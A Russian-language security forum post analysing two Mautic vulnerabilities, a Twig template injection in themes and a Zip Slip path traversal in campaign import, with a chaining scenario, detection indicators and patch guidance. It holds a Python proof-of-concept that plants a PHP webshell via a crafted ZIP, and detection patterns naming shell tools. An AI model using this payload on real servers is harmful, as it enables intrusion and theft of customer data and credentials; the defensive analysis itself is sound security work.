Сергей Попов

Администратор
30.12.2015
6 253
6 979
Специализация
  1. OSINT
  2. Веб-безопасность
Статус верификации
  1. ✓ Verified
Тёмный стол криминалистической экспертизы с распечатками шаблонов Twig и распакованным архивом темы Mautic, освещённый резким верхним светом. В центре — плата с PHP-стеком, на дисплее которой свети...


Уязвимость в движке тем Mautic, позволяющая выполнить произвольный код через Twig-шаблоны, жила в кодовой базе с версии 1.3.0. Больше десяти лет. 29 мая 2026 года её зафиксировали как CVE-2026-9558 с оценкой CVSS 9.9, а заодно опубликовали CVE-2026-9559 - path traversal через импорт кампаний, тоже 9.9. Каждая из уязвимостей даёт RCE по отдельности. Вместе - цепочка, которая превращает аккаунт контент-менеджера с минимальными правами в полный контроль над сервером. Ниже - разбор обеих CVE, механика эксплуатации, детект и патчинг.

Бизнес-логика атаки: зачем ломать маркетинговую платформу​

Mautic - open-source платформа marketing automation для email-рассылок, lead scoring и управления кампаниями. Self-hosted инсталляция Mautic хранит:
  • Базы контактов с PII (email, телефоны, история взаимодействий) - готовый материал для целевого фишинга или продажи на даркнете
  • SMTP-конфигурацию и API-ключи к провайдерам рассылок - инфраструктура для отправки писем от имени компании (BEC-атаки)
  • OAuth-токены интеграций с CRM (Salesforce, HubSpot, Pipedrive) и платёжными системами
  • Прямой сетевой доступ в корпоративную инфраструктуру - Mautic обычно стоит в DMZ или продакшн-сегменте с минимальным hardening
Типичная жертва - маркетинговый отдел компании среднего размера, где Mautic развёрнут на VPS, а роли раздаются щедро: контент-менеджеры и подрядчики агентств получают права на загрузку тем и импорт кампаний - «чтобы самим поправить шаблон рассылки». Именно эти права нужны для эксплуатации обеих CVE.

CVE-2026-9558: Twig SSTI уязвимость в движке тем Mautic​

Корневая причина и CVSS-вектор​

Mautic рендерит файлы тем через шаблонизатор Twig. Корневая проблема проста до боли: движок вызывается без Twig\Sandbox\SecurityPolicy - нет ни allowlist функций, ни ограничений на доступные теги и фильтры. Каждый .twig-файл из загруженного через Theme Manager ZIP-архива обрабатывается так, будто его написал доверенный разработчик. Десять лет. Без песочницы.

По данным NVD, уязвимость классифицирована как CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) - подкласс CWE-94 (Code Injection). Затронутые языки по каталогу MITRE CWE: Java, PHP, Python, JavaScript и другие интерпретируемые. В случае Mautic - PHP.

CVSS-вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.9 (Critical)

Разбор по компонентам:
  • AV:N - атака по сети через веб-интерфейс Mautic
  • AC:L - сложность низкая, эксплойт тривиален
  • PR:L - нужна аутентификация, но хватает низких привилегий (контент-менеджер с правом core:themes:create)
  • UI:N - действий от другого пользователя не требуется
  • S:C - scope changed: код выполняется в PHP-процессе web-сервера, влияя на ОС за пределами приложения
Затронут пакет mautic/core начиная с версии 1.3.0 (по данным OSV.dev). Исправлена в 5.2.11, 6.0.9, 7.1.2; для Mautic 4.x - 4.4.20 через ELTS. Детали патча - в GitHub Security Advisory GHSA-9fx4-7cmj-47vg.

Предусловия и ограничения​

Работает если:
  • Mautic версии <= 7.1.1 (или <= 6.0.8, <= 5.2.10, <= 4.4.19)
  • У атакующего есть аккаунт с правом theme:themes:create или core:themes:create
  • Тема рендерится при preview или activation - ждать реальной рассылки не нужно
Не работает если:
  • Директория themes/ примонтирована как read-only для пользователя web-сервера (www-data / nginx)
  • WAF инспектирует содержимое загружаемых ZIP-архивов и блокирует файлы с Twig-мета-синтаксисом ({{, {%) и обращениями к _self, system, exec
  • Mautic обновлён до патченной версии с Twig Sandbox
Контекст по EPSS: на 13 августа 2026 EPSS составляет 0.0057 (44-й перцентиль - ниже медианы). CISA в рамках SSVC определяет решение как Track (мониторить, не "Act"): эксплуатация в дикой природе не зафиксирована, автоматизация невозможна (Automatable: no). Но технический импакт - total. Перевод на человеческий: mass exploitation маловероятен из-за необходимости аутентификации, но при целевой атаке последствия максимальные. Именно тот случай, когда EPSS успокаивает, а kill chain - нет.

[Применимо: внешний пентест (Mautic доступен из интернета) и внутренний пентест, grey box с учётной записью]

CVE-2026-9559: Path Traversal через импорт кампаний в Mautic 7​

Механика Zip Slip и тройная классификация CWE​

Вторая уязвимость - классический Zip Slip в функции импорта кампаний. Mautic принимает ZIP-архив через эндпоинт campaign import, распаковывает во временную директорию и обрабатывает содержимое. Валидация путей файлов внутри архива не фильтрует ../ в именах файлов. Zip Slip в 2026 году - казалось бы, всё давно разобрано, но нет.

По данным NVD, уязвимости присвоены три CWE:
  • CWE-22 (Path Traversal) - недостаточная валидация путей при обработке имён файлов
  • CWE-73 (External Control of File Name or Path) - атакующий контролирует путь записи
  • CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program) - возможность влиять на PHP-операции include/require через контролируемое имя файла
Тройная классификация CWE - не формальность. CWE-98 указывает, что атакующий может не просто записать файл за пределы временной директории, а перезаписать PHP-файлы, которые Mautic подключает через include/require - кэш Symfony, конфигурацию, автозагрузку классов. Запись файла превращается в выполнение кода без прямого обращения к записанному файлу через URL.

CVSS-вектор идентичен CVE-2026-9558: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.9 (Critical). EPSS - 0.0058 (44-й перцентиль), CISA SSVC - Track с Technical Impact: total.

Критическое отличие от CVE-2026-9558: path traversal затрагивает только Mautic 7.x (пакет mautic/core от 7.0.0, исправлен в 7.1.2 - по данным OSV.dev). На 5.x и 6.x эта CVE не распространяется.

Предусловия и ограничения​

Работает если:
  • Mautic >= 7.0.0 и < 7.1.2
  • У атакующего есть аккаунт с правом campaign:imports:create
  • PHP-процесс имеет права записи за пределами временной директории (дефолт)
Не работает если:
  • Файловая система ограничивает запись PHP-процесса через open_basedir, AppArmor или SELinux
  • Mautic 5.x или 6.x - уязвимость появилась только в 7.x
  • ZIP проходит через WAF/прокси, который проверяет имена файлов в архиве на ../
  • Контейнерный деплой (Docker) с read-only filesystem и tmpfs для временных файлов - запись за пределы контейнера невозможна
[Применимо: внешний и внутренний пентест, grey box с учётной записью marketing-оператора]

Цепочка эксплойтов Mautic 7: от загрузки темы до RCE​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

, var/cache/ или app/config/.
Python:
# Пример создания ZIP с path traversal (демонстрация концепции)
import zipfile

with zipfile.ZipFile("campaign.zip", "w") as z:
    z.writestr(
        "../../../public/media/files/health.php",
        '<?php if(isset($_GET["c"])) system($_GET["c"]); ?>'
    )
Результат: PHP-файл health.php оказывается в публичной директории и доступен через https://mautic.target.com/media/files/health.php?c=whoami. Через CWE-98 возможен альтернативный вектор - перезапись компонента кэша Symfony, который Mautic подключает через require при следующем запросе. Тут даже webshell в webroot не нужен - перезаписал кэш, и код выполнится при обычном обращении к Mautic.

Место в kill chain: Exploit Public-Facing Application (T1190, Initial Access) → Web Shell (T1505.003, Persistence) → Web Protocols (T1071.001, Command and Control) → Ingress Tool Transfer (T1105, Command and Control).

Комбинированная цепочка​

Наибольший интерес для пентеста - комбинация обоих путей. CVE-2026-9558 (SSTI) даёт моментальный RCE для разведки: чтение конфигурации, определение структуры директорий, проверка прав PHP-процесса. Затем через CVE-2026-9559 (path traversal) записывается persistent webshell - SSTI при повторном рендере темы может быть обнаружена и удалена, а webshell в public/media/ переживёт обновление тем. Разведка через одну CVE, закрепление через другую.

Альтернативный сценарий для атакующего с правом campaign:imports:create, но без theme:themes:create: CVE-2026-9559 позволяет записать .twig-файл в директорию themes/, создав условия для SSTI - даже без прямых прав на загрузку темы. Одна CVE прокладывает дорогу другой.

Обнаружение CVE-2026-9558 CVE-2026-9559: MITRE ATT&CK и индикаторы компрометации​

Полная карта техник MITRE ATT&CK для цепочки эксплуатации Mautic RCE:

ЭтапТехникаATT&CK IDЧто искать
Initial AccessExploit Public-Facing ApplicationT1190POST к /s/themes/upload или /s/campaigns/import с ZIP
ExecutionUnix ShellT1059.004Дочерние процессы sh, bash, curl у PHP-FPM
PersistenceWeb ShellT1505.003Новые .php в public/, themes/, var/cache/
DiscoveryFile and Directory DiscoveryT1083Чтение local.php, .env, /etc/passwd
Defense EvasionTemplate InjectionT1221.twig с _self, getEnvironment, registerUndefinedFilterCallback
C2Web ProtocolsT1071.001HTTP к нетипичным PHP-файлам в webroot
C2Ingress Tool TransferT1105Исходящие соединения после загрузки темы/кампании

Индикаторы компрометации в логах Mautic​

Аудит-лог Mautic: события theme.create, theme.upload, theme.activate от неадминистративных аккаунтов - первый красный флаг. Корреляция с campaign.import от того же пользователя в пределах одной сессии - вероятная цепочка.

Access log web-сервера: POST-запросы к эндпоинтам загрузки с Content-Type: multipart/form-data, за которыми следуют GET-запросы к нетипичным .php-файлам в public/media/ или themes/. Интервал между POST и GET - обычно секунды, не минуты.

Процессы на хосте: PHP-FPM порождает sh -c, bash, curl, wget, nc - аномалия для marketing-приложения. Мониторинг через auditd или EDR: правило на execve от процесса с ppid = PHP-FPM worker. Если маркетинговая платформа спавнит шеллы - что-то явно пошло не так.

File Integrity Monitoring: FIM на директориях themes/, var/cache/, public/, app/config/. Появление новых .php или .twig файлов вне CI/CD-цикла - немедленный алерт.

Инспекция архивов: если WAF или middleware позволяет - проверять содержимое ZIP до передачи Mautic: ../ в именах файлов, <?php внутри файлов, Twig-синтаксис с обращениями к system, exec, passthru.

По классификации OWASP Top 10 (2021): CVE-2026-9558 попадает под A03:2021 - Injection (SSTI как подкласс инъекции), обе CVE - под A06:2021 - Vulnerable and Outdated Components. Слабое логирование загрузок - A09:2021 - Security Logging and Monitoring Failures.

Патчинг и митигация уязвимостей Mautic 7​

Немедленные действия до обновления:
  1. Отозвать права theme:themes:create и campaign:imports:create у всех пользователей, кроме доверенных администраторов. Да, маркетологи будут недовольны. Пусть будут недовольны.
  2. Закрыть запись в директорию themes/ на уровне файловой системы:
Bash:
# Ограничение записи в themes/ для web-сервера
sudo chown -R root:www-data /var/www/mautic/themes
sudo find /var/www/mautic/themes -type d -exec chmod 750 {} \;
sudo find /var/www/mautic/themes -type f -exec chmod 640 {} \;
# Проверка: не должно быть writable-файлов для www-data
sudo -u www-data find /var/www/mautic/themes -writable
  1. Ротировать все секреты из local.php и .env: пароли БД, API-ключи SMTP, OAuth-токены интеграций. Если компрометация уже произошла - эти данные утекли первыми.
  2. Разместить административный интерфейс за VPN или IP-allowlist.
  3. PHP-процесс запустить под пользователем без shell (/usr/sbin/nologin), без sudo, с open_basedir ограничением на корень Mautic.
Обновление - единственное полноценное решение:

Ветка MauticПатченная версияКакие CVE закрывает
7.x7.1.2CVE-2026-9558 + CVE-2026-9559
6.x6.0.9CVE-2026-9558
5.x5.2.11CVE-2026-9558
4.x (ELTS)4.4.20CVE-2026-9558

Патч для CVE-2026-9558 внедряет Twig\Sandbox\SecurityPolicy с allowlist разрешённых функций и фильтров. Патч для CVE-2026-9559 добавляет нормализацию путей файлов при распаковке ZIP - стандартный fix для Zip Slip (сравнение canonical path распакованного файла с target directory). Подробности - в GitHub Security Advisory GHSA-9fx4-7cmj-47vg.

Аудит существующих тем тоже обязателен: проверить все .twig-файлы в themes/ на наличие обращений к _self.env, getEnvironment, registerUndefinedFilterCallback и вызовов PHP-функций. Всё, что не создано вашей командой разработки - удалить и расследовать.

Две критические CVE в одном релизе marketing automation платформы - и обе эксплуатируются аутентифицированным пользователем с минимальными привилегиями. EPSS ниже медианы, CISA говорит "Track", mass exploitation не прогнозируется. По документам можно выдохнуть. На практике - рано.

PR:L в CVSS-векторе здесь означает аккаунт, который в половине инсталляций Mautic имеет каждый второй сотрудник маркетингового отдела и каждый подрядчик. Automatable: no - но целевому злоумышленнику автоматизация не нужна. Один скомпрометированный аккаунт, один ZIP-архив, один HTTP-запрос - и маркетинговая инфраструктура с базами клиентов, SMTP-конфигурацией и OAuth-токенами под контролем.

Mautic рендерил Twig без песочницы с версии 1.3.0. Не потому что реализация Twig Sandbox технически сложна - API существует давно и документирован. А потому что загрузка тем считалась «внутренним» функционалом для «своих». Я наблюдаю эту системную ошибку доверия к внутреннему пользователю в каждом втором PHP-приложении с пользовательскими шаблонами - от WordPress с кастомными Blade-вьюхами до Symfony-based CMS с Twig. Дело не в конкретном шаблонизаторе, а в архитектурном решении «наш пользователь не будет вставлять вредоносный код в шаблон». В 2026 году такие допущения обходятся в CVSS 9.9.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab